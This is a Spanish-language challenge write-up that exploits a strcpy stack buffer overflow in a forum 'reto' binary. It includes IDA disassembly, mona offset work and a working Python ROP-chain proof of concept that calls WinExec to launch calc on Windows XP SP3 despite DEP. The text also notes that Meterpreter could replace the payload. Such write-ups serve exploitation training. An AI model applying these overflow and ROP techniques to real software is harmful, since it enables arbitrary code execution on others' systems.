Mirando un foro llamado Underc0de, específicamente la sección ‘Wargames y retos’ me percaté de un reto que me llamó bastante la atención, este fue publicado el año 2012 y posee tan solo dos ganadores.
El reto consiste en explotar una aplicación, lo cual es la capacidad de poder hacer que un programa vulnerable realice una acción que no estaba prevista.
Manos a la obra
Tras descomprimir el archivo RetoExploit.rar, visualizamos los siguientes archivos:
Si ejecutamos Reto.exe se visualiza el contenido de config.txt:
Por lo cual la finalidad de este programa es mostrar por consola el contenido del archivo config.txt.
¿Cómo funciona el programa?
Una rápida mirada a través de IDA nos muestra la función _main del programa:
.text:00401390 .text:00401390 ; =============== S U B R O U T I N E ======================================= .text:00401390 .text:00401390 ; Attributes: bp-based frame .text:00401390 .text:00401390 ; int __cdecl main(int argc, const char **argv, const char **envp) .text:00401390 _main proc near ; CODE XREF: ___mingw_CRTStartup+E2p .text:00401390 .text:00401390 var_42C = dword ptr -42Ch .text:00401390 buff_fgets = byte ptr -428h .text:00401390 ptr_file = dword ptr -2Ch .text:00401390 buff_archivo = byte ptr -28h .text:00401390 var_1 = byte ptr -1 .text:00401390 argc = dword ptr 8 .text:00401390 argv = dword ptr 0Ch .text:00401390 envp = dword ptr 10h .text:00401390 .text:00401390 push ebp .text:00401391 mov ebp, esp .text:00401393 sub esp, 448h .text:00401399 and esp, 0FFFFFFF0h .text:0040139C mov eax, 0 .text:004013A1 add eax, 0Fh .text:004013A4 add eax, 0Fh .text:004013A7 shr eax, 4 .text:004013AA shl eax, 4 .text:004013AD mov [ebp+var_42C], eax .text:004013B3 mov eax, [ebp+var_42C] .text:004013B9 call ___chkstk .text:004013BE call ___main .text:004013C3 mov dword ptr [esp+4], offset aR_1 ; "r" .text:004013CB mov dword ptr [esp], offset aConfig_txt ; "config.txt" .text:004013D2 call fopen .text:004013D7 mov [ebp+ptr_file], eax .text:004013DA mov eax, [ebp+ptr_file] .text:004013DD mov [esp+8], eax ; FILE * .text:004013E1 mov dword ptr [esp+4], 3E8h ; int .text:004013E9 lea eax, [ebp+buff_fgets] .text:004013EF mov [esp], eax ; char * .text:004013F2 call fgets .text:004013F7 lea eax, [ebp+buff_fgets] .text:004013FD mov [esp+4], eax ; char * .text:00401401 lea eax, [ebp+buff_archivo] .text:00401404 mov [esp], eax ; char * .text:00401407 call strcpy .text:0040140C lea eax, [ebp+buff_archivo] .text:0040140F mov [esp+4], eax .text:00401413 mov dword ptr [esp], offset aS ; "%s\n" .text:0040141A call printf .text:0040141F mov dword ptr [esp], offset aPause ; "PAUSE" .text:00401426 call system .text:0040142B mov eax, 0 .text:00401430 leave .text:00401431 retn .text:00401431 _main endp .text:00401431
Como es posible observar el programa abre el archivo config.txt por medio de la función:
Posteriormente obtiene su contenido:
Y finalmente copia el contenido en un nuevo buffer:
La aplicación es susceptible a un buffer overflow debido a la función strcpy, la cual no posee un control del tamaño de la string que es copiada.
Cargamos la aplicación dentro de Immunity Debugger y con el script mona, verificamos las características del ejecutable por medio del comando:
Podemos ver que no posee ningún mecanismo de protección, pero a modo de demostración utilizaremos ROP Gadgets para evitar la protección de windows DEP.
A través de mona creamos un un pattern de 1000 caracteres:
Creamos el exploit por medio de un script en Python:
import struct from struct import pack junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab...' payload = junk f = open('config.txt', 'w') f.write(payload) f.close()
Ejecutamos Reto.exe desde el debugger y observamos que se produce una excepción:
Corroboramos con mona el desplazamiento necesario para la sobre-escritura de la estructura EXCEPTION_REGISTRATION_RECORD:
Por lo cual ya podemos crear la estructura base del payload:
Ahora queda buscar ROP Gadgets que logren redireccionar el flujo del programa (PC) desde SEH a nSEH y que estos no se encuentren contenidos en ejecutables, módulos o dll’s que tengan SafeSEH habilitado:
Dado que no se encontró ningún ROP Gadget en mi sistema, cambiaré de tipo de exploit BoF SEH a un BoF normal, pero antes por medio del argumento pattern_create de mona y el código generado por IDA hay que buscar el tamaño máximo de caracteres permitidos por el programa antes que se convierta en un BoF SEH.
Tras un par de comprobaciones descubrimos que el tamaño máximo caracteres son 175. Por lo cual tenemos un cantidad reducida de bytes para poder demostrar por medio de un PoC que la aplicación es vulnerable y al mismo tiempo lidiar con la protección DEP del sistema operativo.
Prueba de concepto (PoC)
El siguiente script crea una cadena de ROP Gadgets que ejecutan por medio de la API WinExec la calculadora de Windows:
# Operating system = Microsoft Windows XP Profesional Version 2002 Service Pack 3 # Language = Spanish # Author = UND3R # Size = 80 bytes # WinExec(calc, -1) import struct from struct import pack junk = 'A' * 44 eip = pack("<I",0x7c91120f) # ntdll.dll | RETN rop1 = pack("<I",0x7c912486) # ntdll.dll | POP EDI / RETN rop2 = pack("<I",0x7c91120f) # ntdll.dll | RETN rop3 = pack("<I",0x7c911d52) # ntdll.dll | POP ESI / RETN rop4 = pack("<I",0x7c8623ad) # kernel32.dll | WinExec rop5 = pack("<I",0x7c80dfdd) # kernel32.dll | POP EBX / RETN rop6 = pack("<I",0xffffffff) rop7 = pack("<I",0x7c95d22b) # ntdll.dll | PUSHAD / RETN rop8 = 'calc' payload = junk + eip + rop1 + rop2 + rop3 + rop4 + rop5 + rop6 + rop7 + rop8 f = open('config.txt', 'w') f.write(payload) f.close()
No tan solo podemos limitarnos a la ejecución de una calculadora, si no que también podemos iniciar CMD:
Conclusión
Como conclusión podemos observar un sencillo reto de buffer overflow que pone a prueba la capacidad de ejecutar código arbitrario dentro de una aplicación con un buffer reducido de bytes. La aplicación de este tipo de vulnerabilidades en la vida real no tienen como finalidad la ejecución de una calculadora o una consola, si no que mas bien la ejecución de un potente payload como por ejemplo Meterpreter de Mestaploit, el cual podría poner en completo riesgo al sistema afectado.
Agregar un comentario
Debes iniciar sesión para comentar.